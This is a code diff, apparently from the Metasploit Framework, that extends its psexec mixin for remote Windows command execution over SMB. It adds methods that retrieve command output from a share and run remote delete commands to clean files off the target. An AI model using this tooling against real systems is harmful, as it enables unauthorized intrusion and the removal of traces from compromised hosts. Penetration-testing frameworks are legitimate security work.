|
2 | 2 |
|
3 | 3 | module Msf
|
4 | 4 |
|
5 |
| -### |
6 |
| -# |
| 5 | +#### |
7 | 6 | # This module alows for reuse of the psexec code execution module
|
8 | 7 | # This code was stolen straight out of psexec.rb.Thanks very much for all
|
9 | 8 | # who contributed to that module!! Instead of uploading and runing a binary.
|
10 |
| -### |
| 9 | +#### |
11 | 10 |
|
12 | 11 | module Exploit::Remote::Psexec
|
13 | 12 |
|
14 | 13 | include Msf::Exploit::Remote::DCERPC
|
15 | 14 | include Msf::Exploit::Remote::SMB
|
16 | 15 |
|
17 |
| - # This method runs a single windows command fed into the #{command} paramater |
| 16 | + # Retrives output from the executed command |
| 17 | + # @param smbshare [String] The SMBshare to connect to. Usually C$ |
| 18 | + # @param ip [IP Address] Remote Host to Connect To |
| 19 | + # @param file [File name] Path to the output file relative to the smbshare |
| 20 | + # Example: '\WINDOWS\Temp\outputfile.txt' |
| 21 | + # @return output or nil if fails |
| 22 | + def get_output(smbshare, ip, file) |
| 23 | + begin |
| 24 | + print_status("Getting the command output...") |
| 25 | + simple.connect("\\\\#{ip}\\#{smbshare}") |
| 26 | + outfile = simple.open(file, 'ro') |
| 27 | + output = outfile.read |
| 28 | + outfile.close |
| 29 | + simple.disconnect("\\\\#{ip}\\#{smbshare}") |
| 30 | + return output |
| 31 | + rescue StandardError => output_error |
| 32 | + print_error("Error getting command output. #{output_error.class}. #{output_error}.") |
| 33 | + return nil |
| 34 | + end |
| 35 | + end |
| 36 | + |
| 37 | + |
| 38 | + # This method executes a single windows command. If you want to |
| 39 | + # retrieve the output of your command you'll have to echo it |
| 40 | + # to a .txt file and then use the get_output method to retrieve it |
| 41 | + # Make sure to use the cleanup_after method when you are done. |
18 | 42 | # @param command [String] Should be a valid windows command
|
19 | 43 | # @return true if everything wen't well
|
20 | 44 | def psexec(command)
|
@@ -127,6 +151,51 @@ def psexec(command)
|
127 | 151 | simple.disconnect("IPC$")
|
128 | 152 | return true
|
129 | 153 | end
|
| 154 | + |
| 155 | + # This is the cleanup method, removes .txt and .bat file/s created during execution |
| 156 | + # @param smbshare [String] The SMBshare to connect to. Usually C$ |
| 157 | + # @param ip [IP Address] Remote Host to Connect To |
| 158 | + # @param text [File Path] Path to the text file relative to the smbshare |
| 159 | + # Example: '\WINDOWS\Temp\output.txt' |
| 160 | + # @param bat [File Path] Full path to the batch file created |
| 161 | + # Example: 'C:\WINDOWS\Temp\batchfile.bat' |
| 162 | + # @return only in the event of an error |
| 163 | + def cleanup_after(smbshare, ip, text, bat) |
| 164 | + begin |
| 165 | + # Try and do cleanup command/s |
| 166 | + cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}" |
| 167 | + print_status("#{peer} - Executing cleanup...") |
| 168 | + psexec(cleanup) |
| 169 | + if !check_cleanup(smbshare, ip, text) |
| 170 | + print_error("#{peer} - Unable to cleanup. Make sure to manually remove files from the target.") |
| 171 | + else |
| 172 | + print_status("#{peer} - Cleanup was successful") |
| 173 | + end |
| 174 | + rescue StandardError => cleanuperror |
| 175 | + print_error("#{peer} - Unable to processes cleanup commands. Error: #{cleanuperror}") |
| 176 | + print_error("#{peer} - Make sure to manually remove files from the target") |
| 177 | + return cleanuperror |
| 178 | + end |
| 179 | + end |
| 180 | + |
| 181 | + # Make sure the cleanup command worked |
| 182 | + # This method should only be called from within cleanup_after |
| 183 | + def check_cleanup(smbshare, ip, text) |
| 184 | + simple.connect("\\\\#{ip}\\#{smbshare}") |
| 185 | + begin |
| 186 | + if checktext = simple.open(text, 'ro') |
| 187 | + check = false |
| 188 | + else |
| 189 | + check = true |
| 190 | + end |
| 191 | + simple.disconnect("\\\\#{ip}\\#{smbshare}") |
| 192 | + return check |
| 193 | + rescue StandardError => check_error |
| 194 | + simple.disconnect("\\\\#{ip}\\#{smbshare}") |
| 195 | + return true |
| 196 | + end |
| 197 | + end |
| 198 | + |
130 | 199 | end
|
131 | 200 |
|
132 | 201 | end
|
0 commit comments